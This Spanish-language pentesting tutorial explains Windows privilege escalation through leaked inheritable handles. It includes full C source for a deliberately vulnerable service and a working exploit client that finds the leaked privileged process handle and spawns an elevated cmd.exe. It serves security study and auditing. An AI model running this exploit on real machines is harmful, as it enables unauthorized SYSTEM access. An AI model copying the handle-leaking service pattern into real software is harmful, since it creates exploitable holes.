Los handles en un proceso permiten acceder a diferentes recursos de Windows:
Ya ha habido varios casos de escalada de privilegios donde un proceso privilegiado con handles abiertos e heredables ha ejecutado un proceso no privilegiado dándole acceso a todos esos handles.
Por ejemplo, imagina que un proceso que se ejecuta como SYSTEM abre un nuevo proceso (OpenProcess()) con acceso total. El mismo proceso también crea un nuevo proceso (CreateProcess()) con bajos privilegios pero heredando todos los handles abiertos del proceso principal.
Luego, si tienes acceso total al proceso de bajo privilegio, puedes obtener el handle abierto al proceso privilegiado creado con OpenProcess() y inyectar un shellcode.
Handles Interesantes
Proceso
Como leíste en el ejemplo inicial, si un proceso no privilegiado hereda un handle de proceso de un proceso privilegiado con suficientes permisos, podrá ejecutar código arbitrario en él.
En este excelente artículo puedes ver cómo explotar cualquier handle de proceso que tenga alguno de los siguientes permisos:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Hilo
Similar a los handles de proceso, si un proceso no privilegiado hereda un handle de hilo de un proceso privilegiado con suficientes permisos, podrá ejecutar código arbitrario en él.
En este excelente artículo también puedes ver cómo explotar cualquier handle de proceso que tenga alguno de los siguientes permisos:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Handles de Archivo, Clave y Sección
Si un proceso no privilegiado hereda un handle con permisos equivalentes de escritura sobre un archivo o registro privilegiado, podrá sobrescribir el archivo/registro (y con mucha suerte, escalar privilegios).
Los Handles de Sección son similares a los handles de archivo, el nombre común de este tipo de objetos es "File Mapping". Se utilizan para trabajar con archivos grandes sin mantener todo el archivo en memoria. Eso hace que la explotación sea "similar" a la explotación de un Handle de Archivo.
Cómo ver los handles de los procesos
Process Hacker
Process Hacker es una herramienta que puedes descargar gratis. Tiene varias opciones increíbles para inspeccionar procesos y una de ellas es la capacidad de ver los handles de cada proceso.
Ten en cuenta que para ver todos los handles de todos los procesos, se necesita el SeDebugPrivilege (así que necesitas ejecutar Process Hacker como administrador).
Para ver los handles de un proceso, haz clic derecho en el proceso y selecciona Handles:
Luego puedes hacer clic derecho en el handle y ver los permisos:
Sysinternals Handles
El Handlesbinario de Sysinternals también listará los handles por proceso en la consola:
LeakedHandlesFinder
Esta herramienta te permite monitorear los handles filtrados e incluso autoexplotarlos para escalar privilegios.
Metodología
Ahora que sabes cómo encontrar los handles de los procesos, lo que necesitas verificar es si algún proceso no privilegiado está teniendo acceso a handles privilegiados. En ese caso, el usuario del proceso podría obtener el handle y abusar de él para escalar privilegios.
Se mencionó anteriormente que necesitas el SeDebugPrivilege para acceder a todos los handles. Pero un usuario aún puede acceder a los handles de sus procesos, por lo que podría ser útil si deseas escalar privilegios solo desde ese usuario para ejecutar las herramientas con los permisos regulares del usuario.
Por ejemplo, el siguiente código pertenece a un servicio de Windows que sería vulnerable. El código vulnerable de este binario de servicio se encuentra dentro de la función Exploit. Esta función comienza creando un nuevo proceso de manejo con acceso total. Luego, crea un proceso de bajo privilegio (copiando el token de bajo privilegio de explorer.exe) ejecutando C:\users\username\desktop\client.exe. La vulnerabilidad reside en el hecho de que está creando el proceso de bajo privilegio con bInheritHandles como TRUE.
Por lo tanto, este proceso de bajo privilegio puede obtener el manejo del proceso de alto privilegio creado primero e inyectar y ejecutar un shellcode (ver la siguiente sección).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Ejemplo de Explotación 1
En un escenario real probablemente no podrás controlar el binario que se va a ejecutar por el código vulnerable (C:\users\username\desktop\client.exe en este caso). Probablemente comprometerás un proceso y necesitarás ver si puedes acceder a algún handle vulnerable de algún proceso privilegiado.
En este ejemplo puedes encontrar el código de una posible explotación para C:\users\username\desktop\client.exe.
La parte más interesante de este código se encuentra en GetVulnProcHandle. Esta función comenzará a obtener todos los handles, luego verificará si alguno de ellos pertenece al mismo PID y si el handle pertenece a un proceso. Si se cumplen todos estos requisitos (se encuentra un handle de proceso abierto accesible), intenta inyectar y ejecutar un shellcode abusando del handle del proceso.
La inyección del shellcode se realiza dentro de la Inject función y solo escribirá el shellcode dentro del proceso privilegiado y creará un hilo dentro del mismo proceso para ejecutar el shellcode).
En un escenario real, probablemente no podrás controlar el binario que va a ser ejecutado por el código vulnerable (C:\users\username\desktop\client.exe en este caso). Probablemente comprometerás un proceso y necesitarás ver si puedes acceder a algún handle vulnerable de algún proceso privilegiado.
En este ejemplo, en lugar de abusar del handle abierto para inyectar y ejecutar un shellcode, se va a usar el token del proceso con handle privilegiado abierto para crear uno nuevo. Esto se hace en las líneas de 138 a 148.
Nota cómo se utiliza la función UpdateProcThreadAttribute con el atributo PROC_THREAD_ATTRIBUTE_PARENT_PROCESS y el handle al proceso privilegiado abierto. Esto significa que el hilo del proceso creado ejecutando _cmd.exe_** tendrá el mismo privilegio de token que el proceso con handle abierto**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Esta herramienta te permite monitorear handles filtrados para encontrar vulnerables e incluso auto-explotarlos. También tiene una herramienta para filtrar uno.